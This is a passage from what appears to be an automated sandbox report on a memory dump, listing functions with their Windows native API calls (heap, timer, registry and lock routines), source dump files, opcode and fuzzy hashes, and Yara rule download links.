memset.1105(6B5B43AB,00000000,?,0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6B573BEA
RtlFreeHeap.1105(?,?,00000000,0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6B573C30

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreeInformationQuerySystemmemset
String ID:
API String ID: 21860560-0
Opcode ID: 8010e169e916b9cf232485ed54690ded123aa3b8522866cde20aae948412e74e
Instruction ID: fb7d21915eb2d9c6d30dae53d2fefecfcf6ef790d77c508c370b8119872779df
Opcode Fuzzy Hash: 8010e169e916b9cf232485ed54690ded123aa3b8522866cde20aae948412e74e
Instruction Fuzzy Hash: FA21B0B2A00104AFEB20DF58CD81B9AB7BDFB44758F150068E908EB262D375ED068B90

Uniqueness

Uniqueness Score: -1.00%

Function 6B5718B9, Relevance: 6.1, APIs: 4, Instructions: 75nativetimeCOMMON

Download Yara Rule

APIs

ZwCreateTimer2.1105(00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6B5718E6
ZwCreateWaitCompletionPacket.1105(0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6B5718F6
ZwAssociateWaitCompletionPacket.1105(?,00000000,00000058,00000060,?,00000000,?,?,0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002), ref: 6B571926
ZwClose.1105(00000058,0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6B5B5690

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CompletionCreatePacketWait$AssociateCloseTimer2
String ID:
API String ID: 56835937-0
Opcode ID: 8b857e04cdb3c9a0dd10d8187547d26d0d1e17efa5d204d21cb228ff388af8df
Instruction ID: b4ad31fdc5f51f3270127ebff54259023a24527f551da254f4790e5950665c39
Opcode Fuzzy Hash: 8b857e04cdb3c9a0dd10d8187547d26d0d1e17efa5d204d21cb228ff388af8df
Instruction Fuzzy Hash: 082174B1600219BFE701CFA9C881EE6FBB8FF48348F10856AE54497241D775E956CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D6652, Relevance: 6.1, APIs: 4, Instructions: 74memorynativeCOMMON

Download Yara Rule

APIs

ZwClose.1105(00000000,00000000,00000000,00000000,?,?,6B5BB381,00000001,6B63861C,6B620268,00000020,6B55BE44,?,00000000,?,00000001), ref: 6B5D668C
RtlAllocateHeap.1105(?,00000008,?,00000000,00000000,00000000,?,?,6B5BB381,00000001,6B63861C,6B620268,00000020,6B55BE44,?,00000000), ref: 6B5D66D0

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateCloseHeap
String ID:
API String ID: 3565931908-0
Opcode ID: c5e37718b93c7df4e3908136f5dcfb4a05ad26101c32779f1d1e088f6bc0c339
Instruction ID: 1d5293c1a35d4604dead2982f9ca2e4f47f34472bbb297edb80d5fd433dfb3c1
Opcode Fuzzy Hash: c5e37718b93c7df4e3908136f5dcfb4a05ad26101c32779f1d1e088f6bc0c339
Instruction Fuzzy Hash: 7721C372A04B15ABF7114E6C9841796B774FB52778F000365EC30936D5C7BAEC92C6E4

Uniqueness

Uniqueness Score: -1.00%

Function 6B544DC0, Relevance: 6.1, APIs: 4, Instructions: 73nativeCOMMON

Download Yara Rule

APIs

RtlWakeAddressAllNoFence.1105(00000000), ref: 6B544DE8
RtlRaiseStatus.1105(00000000,?,?,?,6B55EBD0,?,?,?,?,00000000,?,6B541E03,?,6B541D6E,?), ref: 6B544E04
ZwAlpcQueryInformation.1105(?,0000000B,FFFFFFFE,00000004,00000000,00000000,000000FF,?,?,00000000,?,?,?,6B55EBD0,?,?), ref: 6B5A0B73

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressAlpcFenceInformationQueryRaiseStatusWake
String ID:
API String ID: 3812654406-0
Opcode ID: 5d5570f8a10cb7a806a67cbbe6a9f52131e3c8302fa82ec5a631861a7e33764d
Instruction ID: 8a3d447a2b7a698648c0a9d39c3658349389bf5d5fb57f91d2fd5cca83b0e842
Opcode Fuzzy Hash: 5d5570f8a10cb7a806a67cbbe6a9f52131e3c8302fa82ec5a631861a7e33764d
Instruction Fuzzy Hash: 6611C171690314BBFB14DA34CC42FEB739D9F89718F10456AAA11971C4EFB8EE008295

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D8372, Relevance: 6.1, APIs: 4, Instructions: 72nativeCOMMON

Download Yara Rule

APIs

ZwClose.1105(00000000,?,00000000,00000000), ref: 6B5D839C
RtlStringFromGUIDEx.1105(?,?,00000001,?,00000000,00000000), ref: 6B5D83B9
ZwCreateKey.1105(?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?,00000000,00000000), ref: 6B5D83F5
RtlFreeUnicodeString.1105(?,?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?,00000000,00000000), ref: 6B5D8400

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$CloseCreateFreeFromUnicode
String ID:
API String ID: 4294597832-0
Opcode ID: f89e46c330657297dc3e8f071492b66c80dbc3450e9e24a7014cbf762d4dd34b
Instruction ID: 23cb58920a8d9dada1eb57bc3e32769c9e6165c7d18a4d6d509dce66000dcda8
Opcode Fuzzy Hash: f89e46c330657297dc3e8f071492b66c80dbc3450e9e24a7014cbf762d4dd34b
Instruction Fuzzy Hash: BF213EB1D0121DABEB04DFA9C885DEFB7B8EB44314F10416AE911F7200EB75ED048BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B583EE4, Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,00000028,?,?,6B5A8546), ref: 6B583F07
RtlGetLocaleFileMappingAddress.1105(00000000,6B6365D4,6B5A8546,?,00000008,00000028,?,?,6B5A8546), ref: 6B583F23

Part of subcall function 6B583FA0: ZwInitializeNlsFiles.1105(00000028,00000008,?,?,?,00000000,?,6B583F28,00000000,6B6365D4,6B5A8546,?,00000008,00000028,?), ref: 6B583FCD

RtlFreeHeap.1105(?,00000000,00000000,00000000,6B6365D4,6B5A8546,?,00000008,00000028,?,?,6B5A8546), ref: 6B5BE7D3
RtlFreeHeap.1105(?,00000000,00000000,00000000,6B6365D4,6B5A8546,?,00000008,00000028,?,?,6B5A8546), ref: 6B5BE7EB

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$AddressAllocateFileFilesInitializeLocaleMapping
String ID:
API String ID: 1831200515-0
Opcode ID: ddee05234c3bc08501dbd41db53dc97095a37943ca5e67ea7b148eb8de219fc4
Instruction ID: 84ae6cbd807dc163f2539f66c29bef91bfac9c217acbf6a1a041cda9b2efe3b2
Opcode Fuzzy Hash: ddee05234c3bc08501dbd41db53dc97095a37943ca5e67ea7b148eb8de219fc4
Instruction Fuzzy Hash: B2219A79601A509FD724DF29C901B96B7F5AF48708F1449A9E819CBB21E738EC42CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6B54519E, Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

RtlEqualUnicodeString.1105(?,?,00000001,?,?,?), ref: 6B5A0CCB
RtlLeaveCriticalSection.1105(6B6379A0,?,?,?), ref: 6B5A0CE4

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalEqualLeaveSectionStringUnicode
String ID:
API String ID: 1601533729-0
Opcode ID: 6b33bce4eacb3301752ef72ddef381ba06069901a724e3923786ca62d48d1aab
Instruction ID: f8b3f362d82c27f9d29f3aae2984c39c142c637229ce07f52803e23f8b322448
Opcode Fuzzy Hash: 6b33bce4eacb3301752ef72ddef381ba06069901a724e3923786ca62d48d1aab
Instruction Fuzzy Hash: E0115631951211ABEB20DF28C460BEEBBF5EF46B20F1405ABE995A3780EB3DCC41C650

Uniqueness

Uniqueness Score: -1.00%

Function 6B573B5A, Relevance: 6.1, APIs: 4, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.1105(?,?,?,6B573AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6B5B6208
RtlFreeHeap.1105(?,?,?,6B573AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6B5B622C
RtlFreeHeap.1105(?,?,?,6B573AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6B5B6250
RtlFreeHeap.1105(?,?,00000000,6B573AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6B5B626D

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 0221223a8f1f2d6f28e486eb5ac9609f58872752d99c5beaada3493ce9a3a5fc
Instruction ID: 53367ece38daf2c3fcfe6e4d572798bc5c4119499fd521f953dff874bf1a694d
Opcode Fuzzy Hash: 0221223a8f1f2d6f28e486eb5ac9609f58872752d99c5beaada3493ce9a3a5fc
Instruction Fuzzy Hash: BA112836A11550DFEB69EF49CA51F9AB3B9FB48704F1500A8E805A7762C73CEC01CB54

Uniqueness

Uniqueness Score: -1.00%

Function 6B54A745, Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,?,00000000,?,6B57DFD8,00000000,?,?,?,?,?,6B543DAD,?,00000000,6B61F4D0,00000084), ref: 6B54A757
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,6B57DFD8,00000000,?,?,?,?,?,6B543DAD,?,00000000,6B61F4D0), ref: 6B54A774
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,6B57DFD8,00000000,?,?,?,?,?,6B543DAD,?,00000000,6B61F4D0), ref: 6B5A442E
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,00000000,?,6B57DFD8,00000000,?,?,?,?,?,6B543DAD), ref: 6B5A443F

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireFreeHeap
String ID:
API String ID: 2563869513-0
Opcode ID: d55957b0dab1d8329af60c047d183060324470596ea8af5a2415361d34d11ef8
Instruction ID: 6138bc1e51748bff1a0ec76fe90017669f30588e80c152117a3d2b4be477f0f0
Opcode Fuzzy Hash: d55957b0dab1d8329af60c047d183060324470596ea8af5a2415361d34d11ef8
Instruction Fuzzy Hash: 8301A7725412019BE360EB7DDC01B9577BCEF82714B0485AAE504CB662DA7CDC45C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 6B5EEB8A, Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 599timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,6B602783,00000001,?,00000000,?,?,?,?,6B59FC15), ref: 6B5EEBB6
RtlGetCurrentServiceSessionId.1105(?,?,?,6B602783,00000001), ref: 6B5EF23E

Strings

@, xrefs: 6B5EF10A

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDebugPrintServiceSessionTimes
String ID: @
API String ID: 358024996-2766056989
Opcode ID: 3aaec55448173c826bac967eb3a67220dc737fdc010a7dc4c5218f1c4387786c
Instruction ID: 236b42909aa62c37d832146e981820dfb51bae2d22362f214a3f051ae77eb677
Opcode Fuzzy Hash: 3aaec55448173c826bac967eb3a67220dc737fdc010a7dc4c5218f1c4387786c
Instruction Fuzzy Hash: 2B32C0706246658BF755CF29D4803F2B7E1AF45704F0488DAE8A98F285DB39E857CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 6B580E21, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000618,?,?), ref: 6B580EDA
RtlRaiseException.1105 ref: 6B5BCC58

Strings

Flst, xrefs: 6B580E63

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateExceptionHeapRaise
String ID: Flst
API String ID: 3789339297-2374792617
Opcode ID: 410c8759182af43ceaf0b2953f4ad4512fef531b880605ca019ec09a6255bd29
Instruction ID: 39c3abb8574b7525f43104a07c1d105ee5a05d0a83a2f98ce5c352e1eed359c0
Opcode Fuzzy Hash: 410c8759182af43ceaf0b2953f4ad4512fef531b880605ca019ec09a6255bd29
Instruction Fuzzy Hash: 5341BAB1606311CFE314CF18C590A96FBE4EF99B10F1889AEE4A9CB280DB35C841CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6B542240, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99memorytimeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000034,?,?,?,?,?,?,?,?,?,6B61F350,0000004C), ref: 6B5422AC
TpAllocTimer.1105(00000020,6B619440,00000000,00000003,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 6B54235A

Strings

(, xrefs: 6B542328

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocAllocateHeapTimer
String ID: (
API String ID: 2926205940-3887548279
Opcode ID: 0c88ead7d8cd904715f7b3dc795b572d2ece2bc5d7a3cababe842c91664da365
Instruction ID: 0157c7e1a0ad33b16777fd1b841e2a2c5161aeaa561a4a99dc324d39ed14514d
Opcode Fuzzy Hash: 0c88ead7d8cd904715f7b3dc795b572d2ece2bc5d7a3cababe842c91664da365
Instruction Fuzzy Hash: 664126B0E243A9DFEB00CFA8D440ACDBBB4BF4C714F10465AE448A7640C7B9A952CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6B5466D4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,UBR,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B5466F5
ZwQueryValueKey.1105(?,?,00000002,?,00000014,?,?,UBR,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B54670B

Strings

UBR, xrefs: 6B5466EE

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitQueryStringUnicodeValue
String ID: UBR
API String ID: 3766860702-3525060630
Opcode ID: 8b79000e0d7324ca8785ea2227c94544709441766db681078c58498da5ff0e9d
Instruction ID: 3956088ee2906f1369dc91c574ea9fe4971415e0bd59b41a60a214011143de25
Opcode Fuzzy Hash: 8b79000e0d7324ca8785ea2227c94544709441766db681078c58498da5ff0e9d
Instruction Fuzzy Hash: AC012C71A0411DAFEB00DAA5C841AEFB7BCEB46715F1044A6E902E7100D779AE4587A2

Uniqueness

Uniqueness Score: -1.00%

Function 6B5F8DF1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000,Critical error detected %lx,?,6B620D50,00000074,6B6020A2,?,?,6B5FFFAF,00000001,00000020,6B6358C0,00000000), ref: 6B5F8E2A
RtlRaiseException.1105(?), ref: 6B5F8E74

Strings

Critical error detected %lx, xrefs: 6B5F8E21

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionPrintRaise
String ID: Critical error detected %lx
API String ID: 1813208005-802127002
Opcode ID: 7966188b9e83c9d6e220ac39ca0c97058c74e04a6217e69cee0edc6903c37fa8
Instruction ID: 4bcdb78dfea842f718b6091099180bd43126dd52e2f33bf12414092fe179da43
Opcode Fuzzy Hash: 7966188b9e83c9d6e220ac39ca0c97058c74e04a6217e69cee0edc6903c37fa8
Instruction Fuzzy Hash: 6A113975C55348DAEB15CFB995067DCFBB5AB08314F20425DD528AB391D3380A02CF15

Uniqueness

Uniqueness Score: -1.00%

Function 6B60E2C5, Relevance: 4.7, APIs: 3, Instructions: 202COMMON

Download Yara Rule

APIs

_aullshr.1105(-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000,00000000,?,?,6B602783,00000001), ref: 6B60E325
RtlAcquireSRWLockShared.1105(0000000C,-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000), ref: 6B60E45E
RtlReleaseSRWLockShared.1105(0000000C,0000000C,-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000), ref: 6B60E48D

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease_aullshr
String ID:
API String ID: 815091738-0
Opcode ID: 252905850c9cf90df616ccc10177a24930dea41d0e336b088eb57f2e369d0b66
Instruction ID: 3daf7fb5dbfdc23b89481aa56e4ef8c8f43f44b8756f6a64b36588d6d5846d2a
Opcode Fuzzy Hash: 252905850c9cf90df616ccc10177a24930dea41d0e336b088eb57f2e369d0b66
Instruction Fuzzy Hash: D261C8B2E1052A8BCB18CFB9C5805ADB7F2FB88324714476AD465D73C0DB789951CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B57E730, Relevance: 4.6, APIs: 3, Instructions: 89memorynativeCOMMON

Download Yara Rule

APIs

ZwQueryInformationProcess.1105(000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6B5DFF7D,6B6209B0,00000014,6B55EBD8,?,?,?,00000000), ref: 6B57E742
RtlRaiseStatus.1105(00000000,000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6B5DFF7D,6B6209B0,00000014,6B55EBD8,?,?,?,00000000), ref: 6B57E765
RtlAllocateHeap.1105(?,?,?,?,FFFFFFFE,?,?,00000000,000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6B5DFF7D), ref: 6B57E7A3

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapInformationProcessQueryRaiseStatus
String ID:
API String ID: 1560743067-0
Opcode ID: 69fc3a12e6d4d94f29425e4806307dc6872d63c92a3b91c07bdc307193961e3b
Instruction ID: 615ab074d76c29fe99800a7082f3c0c7d03d8f9a62e303b34dd4bc1be3b3d07b
Opcode Fuzzy Hash: 69fc3a12e6d4d94f29425e4806307dc6872d63c92a3b91c07bdc307193961e3b
Instruction Fuzzy Hash: F3318C75A54249AFE754DF68C841FCAB7E8FB09314F1486AAF918CB341D675EC80CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B611D55, Relevance: 3.2, APIs: 2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 759da1223d4c546637d7196f6795dfe3229de95e2435b11cceeba54c6f8ad93f
Instruction ID: d9d525e0a47b45fe7a82c30208815298ec26f45781d125f3c734138a10f1a6f4
Opcode Fuzzy Hash: 759da1223d4c546637d7196f6795dfe3229de95e2435b11cceeba54c6f8ad93f
Instruction Fuzzy Hash: 1D817DB1E086298FDB08CFACC490AECB7F2BF59314B144269E415AB3D4DB359D46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6B566E30, Relevance: 1.7, APIs: 1, Instructions: 481COMMON

Download Yara Rule

APIs

memset.1105(01000000,00000000,?,?,00000024,00000000,?), ref: 6B566F17

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 9e9b848a7f4e361364b3585aab6f1f3ab45757a0a4aacd04588e883df2cc9bda
Instruction ID: b2ee959571485bec155a3725c76feee9c30f78f4da1b5e669264c9aa54d2abd4
Opcode Fuzzy Hash: 9e9b848a7f4e361364b3585aab6f1f3ab45757a0a4aacd04588e883df2cc9bda
Instruction Fuzzy Hash: EA029D70D04255CBEB24CF99C4806EDB7B1FF45B90F2145AEE825EB2A4F7789881CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6B5735D0, Relevance: 1.7, APIs: 1, Instructions: 209COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.1105 ref: 6B5B60B6

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorStatus
String ID:
API String ID: 1596131371-0
Opcode ID: ecebb9b78c3ba31e21e2a50dc21bd66153caa450a371f61c3712ba506a614f5c
Instruction ID: 04ae94da58d3599e2c3fbe5bce9f407f929e0ca3b906a8b8136f393d80911a16
Opcode Fuzzy Hash: ecebb9b78c3ba31e21e2a50dc21bd66153caa450a371f61c3712ba506a614f5c
Instruction Fuzzy Hash: CB6115707147558FF734DB2AC561BB2F3E1AB85714F1089A9E9928B2C4DB7CE8428B60

Uniqueness

Uniqueness Score: -1.00%

Function 6B6067E2, Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd9b0ccaeefbece0065d9d31762e328115e030e0bdc82f57c739d1931812bf54
Instruction ID: 874fb3fa8fa38ed3f8b614966563523dafa41d9dde61b4c5597a513019ca26d3
Opcode Fuzzy Hash: dd9b0ccaeefbece0065d9d31762e328115e030e0bdc82f57c739d1931812bf54
Instruction Fuzzy Hash: 9A0205B46046528FD71CCF2BC2802B5BBF1EF46700B00859AE8E5CB681DB3DD995DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6B55B090, Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
